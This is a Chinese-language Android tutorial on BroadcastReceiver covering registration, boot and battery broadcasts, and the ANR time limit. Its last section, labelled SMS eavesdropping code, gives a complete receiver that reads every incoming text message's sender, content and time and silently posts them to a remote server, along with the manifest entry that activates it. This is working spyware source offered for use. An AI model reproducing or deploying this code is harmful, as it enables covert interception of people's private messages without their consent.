BroadcastReceiver用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收
0.要实现一个广播接收者方法如下:
(1)第一步:继承BroadcastReceiver,并重写onReceive()方法。
view plain copy to clipboard print ?
- public class IncomingSMSReceiver extends BroadcastReceiver
- {
- @Override public void onReceive(Context context, Intent intent){ }
- }
public class IncomingSMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent){ } }
(2)第二步:订阅感兴趣的广播Intent,订阅方法有两种:
第一种:使用代码进行订阅
view plain copy to clipboard print ?
- IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
- IncomingSMSReceiver receiver = new IncomingSMSReceiver();
- registerReceiver(receiver, filter);
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); IncomingSMSReceiver receiver = new IncomingSMSReceiver(); registerReceiver(receiver, filter);
第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:
view plain copy to clipboard print ?
- <receiver android:name=".IncomingSMSReceiver">
- <intent-filter>
- <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
- </intent-filter>
- </receiver>
<receiver android:name=".IncomingSMSReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
1.除了短信到来广播Intent,Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。
(1)
接收电池电量变化广播
Intent
,在
AndroidManifest.xml
文件中的
<application>
节点里订阅此
Intent:
view plain copy to clipboard print ?
- <receiver android:name=".IncomingSMSReceiver">
- <intent-filter>
- <action android:name="android.intent.action.BATTERY_CHANGED"/>
- </intent-filter>
- </receiver>
<receiver android:name=".IncomingSMSReceiver"> <intent-filter> <action android:name="android.intent.action.BATTERY_CHANGED"/> </intent-filter> </receiver>
(2)
接收开机启动广播
Intent
,在
AndroidManifest.xml
文件中的
<application>
节点里订阅此
Intent:
view plain copy to clipboard print ?
- <receiver android:name=".IncomingSMSReceiver">
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
<receiver android:name=".IncomingSMSReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
并且要进行权限声明:
view plain copy to clipboard print ?
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
2.在Android中,程序的响应(Responsive)被活动管理器(Activity Manager)和窗口管理器(Window Manager)这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕,Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR(Application No Response)的对话框。如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成。而不是使用子线程的方法来解决,因为BroadcastReceiver的生命周期很短(在onReceive() 执行后BroadcastReceiver 的实例就会被销毁),子线程可能还没有结束它就先结束了。当然如果BroadcastReceiver结束了,它的宿主进程还在运行,子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死,因为它属于空进程(没有任何活动组件的进程)。
view plain copy to clipboard print ?
- public class IncomingSMSReceiver extends BroadcastReceiver {
- @Override public void onReceive(Context context, Intent intent) {
-
- Intent service = new Intent(context, XxxService.class);
- context.startService(service);
- }
- }
public class IncomingSMSReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //发送Intent启动服务,由服务来完成比较耗时的操作 Intent service = new Intent(context, XxxService.class); context.startService(service); } }
每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。
短信窃听代码:
public class SMSBroadcastReceiver extends BroadcastReceiver {
//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
@Override
public void onReceive(Context context, Intent intent) {
Object[] pduses = (Object[])intent.getExtras().get("pdus");
for(Object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//没一条短信
SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
String mobile = sms.getOriginatingAddress();//得到电话号码
String content = sms.getMessageBody();//得到短信的内容
Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
String sendtime = format.format(date);
Map<String, String> params = new HashMap<String, String>();
params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服务器发送窃听到的内容
SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
} catch (Exception e) {
Log.e("SMSBroadcastReceiver", e.toString());
}
}
}
}
其中post为以前写的一个http协议的上传参数的方法!!!!!!!!!!!!!!!
配置代码:
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>